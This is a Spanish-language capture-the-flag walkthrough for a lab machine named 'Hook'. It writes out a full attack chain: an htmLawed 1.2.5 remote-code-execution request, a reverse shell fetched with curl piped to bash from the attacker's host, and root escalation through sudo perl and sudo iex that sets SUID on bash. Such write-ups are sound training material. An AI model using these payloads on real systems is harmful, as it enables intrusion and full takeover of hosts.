21 - Hook - wh01s17

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.56

❯ nmap -sCV -p 22,80,4369 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 00:13 -03
Nmap scan report for 192.168.1.56
Host is up (0.0013s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/htmLawed
|_http-server-header: Apache/2.4.59 (Debian)
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|_  nodes:
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds

El robots.txt apunta a /htmLawed, donde corre htmLawed 1.2.5, vulnerable a RCE. Accedemos a htmLawedTest.php e interceptamos la petición con Burp para abusar del parámetro hhook=exec, que ejecuta el contenido de text como comando:

POST /htmLawed/htmLawedTest.php HTTP/1.1
Host: 192.168.1.56
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: es-419,es;q=0.9
Origin: http://192.168.1.56
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.56/htmLawed/htmLawedTest.php
Accept-Encoding: gzip, deflate, br
Cookie: sid=foo
Connection: keep-alive

sid=foo&hhook=exec&text=whoami

Funciona, así que servimos una reverse shell desde nuestra máquina y la descargamos/ejecutamos vía el mismo vector:

❯ cat pwned.sh
/bin/bash -i >& /dev/tcp/192.168.1.25/1234 0>&1

❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.56 - - [22/Feb/2025 00:54:48] "GET /pwned.sh HTTP/1.1" 200 -

request:
...
sid=foo&hhook=exec&text=curl+http://192.168.1.25:8000/pwned.sh+|+bash
...

❯ ncat -nlvp 1234
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.56:41272.
bash: cannot set terminal process group (490): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hook:/var/www/html/htmLawed$

La escalada se hace en dos saltos sudo. Primero, www-data puede ejecutar perl como noname:

www-data@hook:/home$ sudo -l
Matching Defaults entries for www-data on hook:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on hook:
    (noname) NOPASSWD: /usr/bin/perl

www-data@hook:/home$ sudo -u noname perl -e 'exec "/bin/bash";'
noname@hook:/home$

Obtenemos la primera flag. Revisamos los permisos de noname:

noname@hook:~$ sudo -l
Matching Defaults entries for noname on hook:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User noname may run the following commands on hook:
    (root) NOPASSWD: /usr/bin/iex

Podemos ejecutar iex (el intérprete interactivo de Elixir) como root. Lo usamos para ejecutar comandos del sistema y asignar el bit SUID a Bash:

noname@hook:~$ sudo /usr/bin/iex
Erlang/OTP 25 [erts-13.1.5] [source] [64-bit] [smp:1:1] [ds:1:1:10] [async-threads:1] [jit:ns]

Interactive Elixir (1.14.0) - press Ctrl+C to exit (type h() ENTER for help)
iex(1)> :os.cmd('whoami')
'root\n'

iex(2)> System.cmd("chmod", ["u+s", "/bin/bash"])
iex(3)> System.halt()

noname@hook:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /bin/bash
noname@hook:~$ bash -p
bash-5.2# whoami
root

Obtenemos la flag y fin.